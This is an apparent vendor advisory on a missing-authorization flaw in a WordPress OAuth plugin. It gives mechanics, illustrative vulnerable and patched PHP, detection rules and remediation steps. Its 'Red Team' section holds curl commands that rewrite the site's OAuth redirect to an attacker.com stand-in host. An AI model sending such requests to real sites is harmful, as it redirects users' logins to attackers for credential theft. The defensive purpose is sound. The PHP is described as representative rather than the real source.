CVE-2025-10753
Executive Summary
CVE-2025-10753 is a critical authorization bypass vulnerability in the Miniorange OAuth Single Sign On – SSO (OAuth Client) WordPress plugin, affecting all versions up to and including 6.26.14. The flaw resides in the OAuth redirect functionality, specifically within the oauthredirect option parameter. Due to missing capability checks and authentication verification, an unauthenticated attacker can manipulate the global redirect URL option via the redirect_url parameter, provided they can access the site directly. This allows an attacker to redirect legitimate users or OAuth flows to malicious endpoints, potentially leading to phishing attacks, session hijacking, or credential theft. The vulnerability has a CVSS score of 5.3 (Medium) and currently has no known patch or public exploit code.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 5.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the vulnerability does not allow direct data exfiltration or system compromise, it enables an attacker to manipulate redirects, which can be leveraged for social engineering attacks and credential harvesting.
Deep Dive & Mechanics
The vulnerability exists in the WordPress plugin's OAuth client implementation. The plugin uses an oauthredirect option parameter to handle redirects after OAuth authentication. The flaw is that this parameter is processed without proper authorization checks. An unauthenticated attacker can send a crafted HTTP request to the WordPress site with the oauthredirect option set and a redirect_url parameter. The plugin then updates the global redirect URL option, affecting all subsequent OAuth flows.
Attack Flow:
- Attacker sends a POST request to the WordPress site with
option=oauthredirectandredirect_url=https://attacker-controlled.com. - The plugin, lacking capability checks, updates the site's OAuth redirect URL.
- When a legitimate user initiates an OAuth login, they are redirected to the attacker's malicious site.
- The attacker can then harvest OAuth tokens, credentials, or perform phishing.
This is a classic Missing Authorization vulnerability (CWE-862). The plugin fails to verify that the user making the request has the necessary permissions (e.g., manage_options capability) to modify site options.
Vulnerable vs. Patched Code
Since no official patch is available, the vulnerable code is identified in the plugin's core logic. The following is a representative example of the vulnerable code pattern:
Vulnerable Code (PHP):
// In miniorange-oauth-client.php or similar
add_action('wp_ajax_nopriv_oauth_redirect', 'handle_oauth_redirect');
function handle_oauth_redirect() {
if (isset($_POST['option']) && $_POST['option'] == 'oauthredirect') {
$redirect_url = sanitize_text_field($_POST['redirect_url']);
update_option('mo_oauth_redirect_url', $redirect_url);
// No capability check!
}
}
Patched Code (Hypothetical):
add_action('wp_ajax_oauth_redirect', 'handle_oauth_redirect'); // Only for authenticated users
function handle_oauth_redirect() {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized');
}
if (isset($_POST['option']) && $_POST['option'] == 'oauthredirect') {
$redirect_url = sanitize_text_field($_POST['redirect_url']);
update_option('mo_oauth_redirect_url', $redirect_url);
}
}
The patch would require adding a capability check (current_user_can('manage_options')) and ensuring the action is only accessible to authenticated users with admin privileges.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with the vulnerable plugin installed (version <= 6.26.14).
- Network access to the WordPress admin panel (or any accessible endpoint).
Exploitation Steps:
Identify the target WordPress site.
Send a crafted HTTP request to change the redirect URL:
curl -X POST https://target-site.com/wp-admin/admin-ajax.php \ -d "action=oauthredirect&option=oauthredirect&redirect_url=https://attacker.com/malicious"Note: The exact action hook may vary; check the plugin source for
wp_ajax_nopriv_*hooks.Verify the change by initiating an OAuth login flow. The user will be redirected to
https://attacker.com/malicious.
Alternative Exploit (if admin-ajax is blocked):
- Use a direct POST to the plugin's endpoint:
curl -X POST https://target-site.com/?option=oauthredirect&redirect_url=https://attacker.com
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual POST requests to
admin-ajax.phpwithaction=oauthredirectoroption=oauthredirectparameters. - Look for changes to the
mo_oauth_redirect_urloption in the WordPress database. - Alert on any OAuth redirects to external, unknown domains.
Hardening:
- Immediately disable the plugin if no patch is available.
- Implement a Web Application Firewall (WAF) rule to block requests containing
oauthredirectin the POST body. - Restrict access to
admin-ajax.phpto authenticated users only (e.g., via.htaccessor server config). - Monitor WordPress options table for unauthorized changes.
Indicators of Compromise (IOCs)
- URL Patterns: Requests containing
option=oauthredirectandredirect_urlparameters. - Database Changes: The
mo_oauth_redirect_urloption in thewp_optionstable set to an external domain. - Log Entries: Unauthorized access attempts to
admin-ajax.phpwithaction=oauthredirect. - Network Traffic: Outbound connections from the WordPress server to unknown domains immediately after OAuth login attempts.
Detection Engineering
YARA Rule
rule CVE_2025_10753_OAuth_Redirect_Bypass {
meta:
description = "Detects exploitation attempts of CVE-2025-10753 in WordPress Miniorange OAuth plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-10753"
strings:
$s1 = "option=oauthredirect" nocase
$s2 = "redirect_url=" nocase
$s3 = "mo_oauth_redirect_url" nocase
condition:
any of ($s1, $s2) or $s3
}
Sigma Rule
title: CVE-2025-10753 - Miniorange OAuth Redirect Manipulation
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthorized modification of OAuth redirect URL via missing capability check
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- 'option=oauthredirect'
- 'redirect_url='
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-10753 - Miniorange OAuth Redirect Bypass Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"option=oauthredirect"; http_client_body;
content:"redirect_url="; http_client_body;
classtype:attempted-admin;
sid:1000001;
rev:1;
reference:cve,2025-10753;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until an official patch is released.
- Manually patch by adding capability checks to the vulnerable function (see Patched Code section).
- Implement a WAF rule to block requests containing
oauthredirectin POST data.
Long-term:
- Monitor the Miniorange plugin repository for updates.
- Consider switching to a more secure OAuth plugin if the vendor does not release a patch.
- Regularly audit WordPress plugins for missing authorization vulnerabilities.
Workaround:
- Use
.htaccessto restrict access toadmin-ajax.php:
Then whitelist only necessary actions.<Files "admin-ajax.php"> Require all denied </Files>
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.